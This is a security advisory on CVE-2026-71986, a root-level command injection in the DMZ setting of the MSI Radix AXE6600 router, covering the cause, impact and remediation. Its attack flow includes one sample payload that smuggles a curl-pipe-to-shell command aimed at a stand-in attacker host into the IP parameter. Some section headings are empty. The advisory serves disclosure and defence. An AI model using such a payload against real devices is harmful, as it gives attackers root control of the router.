MSI Radix AXE6600 Critical Command Injection in DMZ Function (CVE-2026-71986)

Executive Summary

A critical command injection vulnerability (CVE-2026-71986) has been disclosed in the MSI Radix AXE6600 tri-band Wi-Fi 6E router. This flaw, located in the router's dmz function, allows remote attackers to inject and execute arbitrary OS commands with root privileges. It is the fourth in a cluster of four critical command injection CVEs (71983–71986) simultaneously disclosed for MSI Radix AXE6600 firmware version v781521.

CVSS Score: 9.8 (Critical)

The DMZ (Demilitarized Zone) function is typically used to expose a single internal host to the internet without firewall restriction. A command injection flaw here gives attackers the ability to manipulate network architecture and achieve full root control of the router.

Vulnerability Overview

Root Cause

The MSI Radix AXE6600's DMZ configuration function accepts parameters such as a target IP address for the DMZ host. In firmware v781521, this input is passed directly into shell commands without sanitization, allowing an attacker to inject shell metacharacters and execute arbitrary commands as root.

This represents CWE-78 (OS Command Injection) — a top-ranked vulnerability class in embedded network device firmware that is straightforwardly prevented by validating and escaping all user input before use in system calls.

Affected Versions

Technical Details

DMZ Function Context

The DMZ feature forwards all inbound traffic from the WAN to a designated internal host, bypassing the router's firewall. This makes it a sensitive configuration point — it directly controls which internal devices are exposed to the internet. A command injection vulnerability in DMZ configuration is particularly dangerous because:

1. It may already be accessible from WAN — DMZ hosts are by definition internet-facing, and the configuration endpoint may share the same exposure
2. It controls network exposure — post-exploit, attackers can add or remove DMZ rules to expose or shield internal hosts
3. Root access from a network-control function — full access to iptables, routing tables, and WAN/LAN configuration

Attack Flow

1. Attacker sends crafted request to the DMZ configuration endpoint
2. Malicious DMZ host IP parameter contains injected shell payload
   Example: 192.168.1.100;curl http://attacker.com/c2.sh|sh
3. Firmware passes unsanitized value to system() or equivalent
4. Shell executes both legitimate DMZ config AND injected command as root
5. Attacker achieves persistent root access to the router

The Four-CVE Pattern

The disclosure of CVE-2026-71983 through CVE-2026-71986 in rapid succession reveals a recurring pattern: multiple independent CGI handlers and web functions all share the same defect — user input passed to shell without sanitization. This is characteristic of embedded firmware developed without security code review or SAST tooling.

Impact

Successful exploitation allows an attacker to:

• Execute arbitrary commands as root on the MSI Radix AXE6600
• Modify DMZ rules to expose or protect internal hosts at will
• Intercept all WAN/LAN traffic passing through the device
• Alter iptables rules — adding or removing firewall policies
• Establish persistent backdoors via cron jobs or firmware modification
• Redirect DNS or routing for man-in-the-middle attacks
• Pivot into the internal network from the internet

If the router's admin interface is exposed to the internet via remote management or a misconfiguration, this vulnerability is exploitable from the open internet without any authentication.

Remediation

Immediate Actions

1. Apply firmware patch from MSI as soon as available — check the MSI support portal
2. Disable the DMZ feature if not in active use — this directly removes the attack surface for CVE-2026-71986
3. Disable WAN-side administration to prevent remote exploitation of all four CVEs
4. Audit current DMZ configuration — verify no unauthorized host has been placed in the DMZ
5. Review firewall and port forwarding rules for unauthorized modifications

Comprehensive Mitigation for All Four CVEs

Since CVE-2026-71983 through 71986 all share the same underlying weakness across different functions, disabling all four affected features (WPS, URL filtering, access control, DMZ) provides the broadest attack surface reduction while awaiting a patch:

Disabling these features does not prevent the router from functioning for general internet and Wi-Fi use.

Detection

Related CVEs

The complete cluster of simultaneously disclosed MSI Radix AXE6600 vulnerabilities:

Key Takeaways

1. CVSS 9.8 Critical — Unauthenticated remote command injection, root impact
2. DMZ function is the attack vector — a network exposure feature exploitable to gain full control
3. Fourth in a cluster of four CVEs — MSI Radix AXE6600 firmware v781521 has systemic input sanitization failures across multiple subsystems
4. Disable DMZ immediately if not required — eliminates this specific attack surface
5. Patch all four CVEs together when MSI releases updated firmware; treat as a single systemic remediation event

References

• NVD — CVE-2026-71986
• MSI Product Support

Related Advisories

• MSI Radix AXE6600 WPS Command Injection (CVE-2026-71983)
• MSI Radix AXE6600 URL Filter Command Injection (CVE-2026-71984)
• MSI Radix AXE6600 Access Control Command Injection (CVE-2026-71985)